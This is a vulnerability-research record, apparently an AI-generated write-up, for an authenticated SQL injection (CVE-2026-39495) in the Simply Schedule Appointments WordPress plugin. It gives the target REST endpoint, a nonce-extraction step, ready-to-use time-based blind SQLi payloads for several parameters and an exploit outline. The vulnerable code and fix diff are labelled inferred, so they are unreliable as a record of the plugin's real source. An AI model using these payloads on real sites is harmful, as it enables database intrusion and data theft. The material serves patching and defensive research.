[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcO7_4rS0y0fT6kooz4qMli7EM8KnizWVWw9xBLF6rxg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39495","simply-schedule-appointments-authenticated-contributor-sql-injection","Simply Schedule Appointments \u003C= 1.6.9.27 - Authenticated (Contributor+) SQL Injection","The Simply Schedule Appointments plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.9.27 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","simply-schedule-appointments",null,"\u003C=1.6.9.27","1.6.9.29","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-26 00:00:00","2026-04-15 21:25:30",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb7f6436f-60b7-4b9b-a071-93a5b95a9075?source=api-prod",21,[22,23,24,25,26,27,28,29],"CHANGELOG.md","admin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js","includes\u002Fclass-appointment-model.php","includes\u002Fclass-elementor.php","includes\u002Fclass-paypal-ipn-listener.php","includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php","readme.txt","simply-schedule-appointments.php","researched",false,3,"This research plan targets **CVE-2026-39495**, an authenticated SQL injection vulnerability in the **Simply Schedule Appointments** plugin. The vulnerability arises from insufficient preparation of SQL queries in the plugin's data models, particularly within the appointments filtering logic accessed via the REST API or AJAX.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection (Authenticated, Contributor+)\n*   **Location:** `includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php` (Core query logic) and `includes\u002Fclass-appointment-model.php`.\n*   **Cause:** The plugin constructs SQL queries by concatenating user-supplied filter parameters (such as `appointment_type_id`, `status`, or `search`) directly into `WHERE` clauses without passing them through `$wpdb->prepare()` or using adequate escaping.\n*   **Affected Versions:** \u003C= 1.6.9.27\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API or Admin AJAX.\n    *   **REST Route:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments` (Primary target)\n    *   **AJAX Action:** `ssa_get_appointments` (Secondary target)\n*   **Vulnerable Parameter:** `appointment_type_id` (Also likely `status` and `search`).\n*   **Authentication:** Requires a user with `Contributor` role or higher.\n*   **Preconditions:** The plugin must be active, and a REST nonce is required for the API request.\n\n### 3. Code Flow\n1.  **Entry Point:** An authenticated user with Contributor privileges accesses the appointments list in the admin dashboard.\n2.  **Request Trigger:** The Vue.js admin app (`admin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js`) sends a `GET` request to `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments` to fetch scheduled slots.\n3.  **Controller:** The REST controller (likely `SSA_Appointments_API`) receives the request and extracts query parameters like `appointment_type_id`.\n4.  **Model Interaction:** The controller calls a query method (e.g., `query()` or `get_all()`) on `SSA_Appointment_Model` (defined in `includes\u002Fclass-appointment-model.php`).\n5.  **Vulnerable Sink:** `SSA_Appointment_Model` inherits from `TD_DB_Model` (found in `includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php`). The query builder in these models fails to use `$wpdb->prepare()` for parameters used in the dynamic `WHERE` clause, allowing an attacker to break out of the query structure.\n\n### 4. Nonce Acquisition Strategy\nThe Simply Schedule Appointments admin app localizes a configuration object containing the REST nonce.\n\n1.  **Create Contributor User:** Use WP-CLI to create a user with the `contributor` role.\n2.  **Navigate to Admin Page:** Log in and navigate to the SSA appointments dashboard: `\u002Fwp-admin\u002Fadmin.php?page=simply-schedule-appointments`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the nonce from the localized JS object.\n    *   **Variable Name:** `window.SSA_Data`\n    *   **Key:** `nonce` (or `rest_nonce`)\n    *   **Command:** `browser_eval(\"window.SSA_Data?.nonce\")`\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload to confirm the vulnerability.\n\n#### Step 1: Baseline Request\nConfirm the endpoint returns a `200 OK` with a valid nonce.\n*   **Method:** `GET`\n*   **URL:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments?appointment_type_id=1`\n*   **Headers:** `X-WP-Nonce: [EXTRACTED_NONCE]`\n\n#### Step 2: Time-Based Payload (Numeric Context)\nTest for injection in the `appointment_type_id` parameter.\n*   **Payload:** `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Full URL:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments?appointment_type_id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)`\n*   **Expected Behavior:** The server response should be delayed by approximately 5 seconds.\n\n#### Step 3: Time-Based Payload (String Context)\nIf numeric context fails, try escaping a single quote.\n*   **Payload:** `1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1`\n*   **Full URL:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments?appointment_type_id=1'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20'1'='1`\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure Simply Schedule Appointments version 1.6.9.27 is installed.\n2.  **Add Test Data:** Create at least one Appointment Type so the appointments query has data to process.\n    ```bash\n    # This might require manual setup via the dashboard or specific ssa models\n    wp eval \"new SSA_Appointment_Type_Object();\" # (Illustrative)\n    ```\n3.  **Contributor User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n\n### 7. Expected Results\n*   **Vulnerable Response:** The HTTP request to the appointments endpoint with the `SLEEP(5)` payload takes significantly longer than the baseline request.\n*   **HTTP Status:** `200 OK` (the query should still be valid SQL).\n*   **Data Payload:** The response body contains JSON data representing appointments, but only after the 5-second delay.\n\n### 8. Verification Steps\nAfter the HTTP exploit, verify the database prefix and table existence via WP-CLI to confirm the environment state:\n```bash\nwp db query \"SELECT count(*) FROM wp_ssa_appointments\"\n```\nTo confirm the injection vulnerability programmatically without timing, check the plugin's `last_error` via a temporary PHP script (if debug is enabled):\n```bash\nwp eval \"global \\$wpdb; echo \\$wpdb->last_error;\"\n```\n\n### 9. Alternative Approaches\n*   **`status` Parameter:** If `appointment_type_id` is cast to an integer, try the `status` parameter, which is often used as a string in `IN` clauses:\n    *   URL: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments?status=booked')%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-`\n*   **`search` Parameter:** The `search` parameter is usually used with `LIKE` and is a frequent candidate for SQLi:\n    *   URL: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments?search=test'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-`\n*   **Error-Based Injection:** If `WP_DEBUG` is on, attempt to extract the database version using `updatexml()` or `extractvalue()`.","The Simply Schedule Appointments plugin for WordPress is vulnerable to authenticated SQL injection in versions up to 1.6.9.27. This is due to the plugin's query builder in the base model class failing to properly prepare or escape filter parameters like 'appointment_type_id' before concatenating them into SQL WHERE clauses, allowing Contributor-level users to execute arbitrary SQL commands via the REST API.","\u002F\u002F includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php\n\u002F\u002F The query building logic in TD_DB_Model (inferred location) processes filter arguments directly into the WHERE clause\n\nif ( isset( $args['appointment_type_id'] ) ) {\n    $where .= \" AND appointment_type_id = \" . $args['appointment_type_id'];\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-appointment-model.php\n\u002F**\n * Simply Schedule Appointments Appointments Model.\n *\n * @since 0.0.3\n *\u002F\nclass SSA_Appointment_Model extends SSA_Db_Model {\n\tprotected $slug = 'appointment';\n\tprotected $version = '2.7.3';","--- includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php\n+++ includes\u002Flib\u002Ftd-util\u002Fclass-td-db-model.php\n@@ -inferred -inferred\n-if ( isset( $args['appointment_type_id'] ) ) {\n-    $where .= \" AND appointment_type_id = \" . $args['appointment_type_id'];\n-}\n+if ( isset( $args['appointment_type_id'] ) ) {\n+    $where .= $wpdb->prepare( \" AND appointment_type_id = %d\", $args['appointment_type_id'] );\n+}","1. Log in to the WordPress admin panel as a user with Contributor-level privileges or higher.\n2. Access the Simply Schedule Appointments dashboard at `\u002Fwp-admin\u002Fadmin.php?page=simply-schedule-appointments` to extract the REST API nonce from the `window.SSA_Data.nonce` global variable.\n3. Target the appointments REST endpoint: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments`.\n4. Construct a GET request to this endpoint using a vulnerable parameter such as `appointment_type_id` and append a time-based blind SQL injection payload (e.g., `?appointment_type_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`).\n5. Execute the request including the `X-WP-Nonce` header; a delayed server response (e.g., 5 seconds) confirms the vulnerability and allows for further data extraction using standard blind SQL injection techniques.","gemini-3-flash-preview","2026-04-17 22:42:09","2026-04-17 22:42:55",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.6.9.27","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.9.27","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.9.27.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.9.29","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.9.29.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags"]